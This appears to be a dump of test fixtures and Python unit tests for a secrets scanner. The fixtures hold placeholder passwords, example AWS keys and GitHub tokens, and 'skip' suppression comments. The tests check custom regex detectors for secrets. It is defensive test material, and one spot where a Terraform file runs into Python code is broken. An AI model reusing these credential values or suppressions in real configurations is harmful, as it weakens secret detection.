"emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/skip_test/skip_test1/skip_test2/skip1.json ================================================ { "spec": [ { "name": "SOME_NAME1", "value": "some_value1" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/skip_test/skip_test1/skip_test2/skip2.json ================================================ { "spec": [ { "name": "SOME_NAME", "value": "some_value" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/skip_test/skip_test2/skip1.json ================================================ { "spec": [ { "name": "SOME_NAME1", "value": "some_value1" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/skip_test/skip_test2/skip2.json ================================================ { "spec": [ { "name": "SOME_NAME", "value": "some_value" }, { "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE", "name": "TEST_PASSWORD_1", "name1": "TEST_PASSWORD_2", "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35" }, { "name": "TEST_PASSWORD_3", "value": "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h" }, { "name": "TEST_PASSWORD_4", "value": "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z" }, { "name": "TEST_PASSWORD_LONG_1", "value": "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN" }, { "name": "TEST_PASSWORD_no_password", "value": "RandomP@ssw0rd" } ] } ================================================ FILE: tests/secrets/suppressions/metadata_suppression.yaml ================================================ credentials: aws_access_key_id: AKIAIOSFODNN7EXAMPLE aws_secret_access_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY tokens: github_token: ghp_1234567890exampleTOKEN Metadata: checkov: skip: - id: CKV_SECRET_2 comment: AWS keys allowed in test env - id: CKV_SECRET_6 comment: base64 is test credential, approved ================================================ FILE: tests/secrets/suppressions/metadata_suppression_array.json ================================================ [ { "DatabaseConfig": { "user": "admin", "password": "SuperSecretPassword123" }, "Metadata": { "checkov": { "skip": [ { "id": "CKV_SECRET_2", "comment": "Suppressed DB password" } ] } } }, { "AWS": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" }, "Metadata": { "checkov": { "skip": [ { "id": "CKV_SECRET_6", "comment": "Suppressed AWS secret" } ] } } } ] ================================================ FILE: tests/secrets/suppressions/metadata_suppression_object.json ================================================ { "DatabaseConfig": { "user": "admin", "password": "SuperSecretPassword123" }, "AWS": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" }, "GitHub": { "token": "ghp_exampletoken1234567890" }, "Metadata": { "checkov": { "skip": [ { "id": "CKV_SECRET_2", "comment": "Approved for QA testing" }, { "id": "CKV_SECRET_6", "comment": "Legacy config" } ] } } } ================================================ FILE: tests/secrets/terraform_multiline/cfn_heredoc.tf ================================================ resource "aws_cloudformation_stack" "lambda" { name = "lambda" parameters = { VPCCidr = "10.0.0.0/16" } template_body = < None: policies_list: List[Dict[str, Any]] = [ { "incidentId": "incident1", "category": "Secrets", "code": "definition:\n cond_type: secrets\n value:\n - one_value\n", "title": "incident1", }, { "incidentId": "incident2", "category": "Secrets", "code": "definition:\n cond_type: secrets\n value:\n - H4sIAPmp12MC/8tIzcnJBwCGphA2BQAAAA==\n is_runnable: true\n", "title": "incident2", }, { "incidentId": "incident3", "category": "Secrets", "code": "", "title": "incident3", }, { "incidentId": "incident4", "category": "Secrets", "code": "bad_code", "title": "incident4", }, { "incidentId": "incident5", "category": "Secrets", "code": "definition:\n cond_type: secrets\n value:\n - invalid\n is_runnable: true\n", "title": "incident5", }, ] runnables = get_runnable_plugins(policies_list) assert len(runnables) == 1 assert runnables["incident2"] == 'hello' def test_modify_secrets_policy_to_detectors(self) -> None: policies_list: List[Dict[str, Any]] = [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "conditionQuery": { "value": [], "cond_type": "secrets" }, "customerName": "lshind", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "frameworks": [ "CloudFormation", "Terraform" ], "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["abcdefg"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": [ "1234567" ], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ] detector_obj = modify_secrets_policy_to_detectors(policies_list) detectors_result: List[Dict[str, Any]] = [{ "Name": "test1", "Check_ID": "test1", "Regex": "abcdefg" }, { "Name": "test2", "Check_ID": "test2", "Regex": "1234567" }] detector_obj.sort(key=lambda detector: detector['Check_ID']) detectors_result.sort(key=lambda detector: detector['Check_ID']) # type: ignore assert all( True for x in range(0, len(detector_obj)) if detector_obj[x]['Check_ID'] == detectors_result[x]['Check_ID']) assert len(detectors_result) == len(detector_obj) def test_custom_regex_detector(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?:^|\W)HANA(?:$|\W)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?:^|\W)LIR(?:$|\W)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 3) def test_non_entropy_take_precedence_over_entropy(self): # given: File with entropy secret and custom secret current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/custom_and_entropy" check_id = 'test1' bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": check_id, "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": check_id, "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ['test_pass =\s*"(.*?)"'], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() # when: Running the secrets runner on the file report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) # then: Validating that the non-entropy is the one. interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1"]) self.assertEqual(len(interesting_failed_checks), 1) self.assertEqual(interesting_failed_checks[0].check_id, check_id) def test_custom_regex_detector_value_str(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?:^|\W)HANA(?:$|\W)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?:^|\W)LIR(?:$|\W)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 3) def test_custom_regex_detector_in_custom_limit_characters(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?i)(?:test)(?:[0-9a-z\\-_\\t .]{0,20})(?:[\\s|']|[\\s|\"]){0,3}(?:=|>|:=|\\|\\|:|<=|=>|:)(?:'|\\\"|\\s|=|\\x60){0,5}([a-z0-9]{24})(?:['|\\\"|\\n|\\r|\\s|\\x60|;]|$)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 1) def test_custom_regex_detector_out_custom_limit_characters(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?i)(?:out)(?:[0-9a-z\\-_\\t .]{0,20})(?:[\\s|']|[\\s|\"]){0,3}(?:=|>|:=|\\|\\|:|<=|=>|:)(?:'|\\\"|\\s|=|\\x60){0,5}([a-z0-9]{24})(?:['|\\\"|\\n|\\r|\\s|\\x60|;]|$)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 0) def test_custom_regex_detector_skip_long_line(self): # given valid_dir_path = Path(__file__).parent / "long_line_custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["\w{20}"], # this would definitely get a result, but should not, because of the line length "cond_type": "secrets" }, "resourceTypes": [], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} # when report = Runner().run( root_folder=str(valid_dir_path), runner_filter=RunnerFilter( framework=["secrets"], enable_secret_scan_all_files=True ) ) # then self.assertEqual(len(report.failed_checks), 0) def test_modify_secrets_policy_to_multiline_detectors(self) -> None: policies_list: List[Dict[str, Any]] = [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "lshind", "isCustom": True, "code": "definition:\n cond_type: secrets\n value:\n - '{[\\s\\S]*}'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "frameworks": [ "CloudFormation", "Terraform" ], "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n value:\n - '{[\\s\\S]*paz*}'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test3", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": [ "1234567" ], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test3", "isCustom": True, "code": "", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ] detector_obj = modify_secrets_policy_to_detectors(policies_list) detectors_expected_result: List[Dict[str, Any]] = [ {"Name": "test1", "Check_ID": "test1", "Regex": "{[\\s\\S]*}", "isMultiline": False}, {"Name": "test2", "Check_ID": "test2", "Regex": "{[\\s\\S]*paz*}", "isMultiline": True}, {"Name": "test3", "Check_ID": "test3", "Regex": "1234567", "isMultiline": False} ] detector_obj.sort(key=lambda detector: detector['Check_ID']) detectors_expected_result.sort(key=lambda detector: detector['Check_ID']) # type: ignore assert all( True for x in range(0, len(detector_obj)) if detector_obj[x]['Check_ID'] == detectors_expected_result[x]['Check_ID'] and detector_obj[x]['isMultiline'] == detectors_expected_result[x]['isMultiline']) assert len(detectors_expected_result) == len(detector_obj) def test_custom_multiline_regex_detector(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/multiline_custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n supported_files:\n - .mine\n value:\n - '[\\s\\S]*HANA*'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "conditionQuery": { "value": ["(?:^|\W)LIR(?:$|\W)"], "cond_type": "secrets" }, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": None, "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter( framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 3) def test_custom_multiline_regex_detector_only_scan_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/multiline_custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n supported_files:\n - .mine\n value:\n - '[\\s\\S]*HANA*'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n supported_files:\n - .mine\n value:\n - '[\\s\\S]*LIR*'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 2) def test_custom_multiline_regex_detector_only_supported_files(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/multiline_custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test1", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n supported_files:\n - .mine\n value:\n - '[\\s\\S]*HANA*'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None }, { "incidentId": "test2", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test2", "guideline": "test2", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], "customerName": "test2", "isCustom": True, "code": "definition:\n cond_type: secrets\n multiline: true\n value:\n - '[\\s\\S]*LIR*'", "descriptiveTitle": None, "constructiveTitle": None, "pcPolicyId": None, "additionalPcPolicyIds": None, "pcSeverity": None, "sourceIncidentId": None } ]} runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["test1", "test2"]) self.assertEqual(len(interesting_failed_checks), 1) def test_prerun_singleline_regex_detector(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/multiline_custom_regex_detector" bc_integration.customer_run_config_response = {"secretsPolicies": [ { "incidentId": "test1", "category": "Secrets", "severity": "MEDIUM", "incidentType": "Violation", "title": "test1", "guideline": "test", "laceworkViolationId": None, "prowlerCheckId": None, "checkovCheckId": None, "resourceTypes": [ "aws_instance" ], "provider": "AWS", "remediationIds": [], 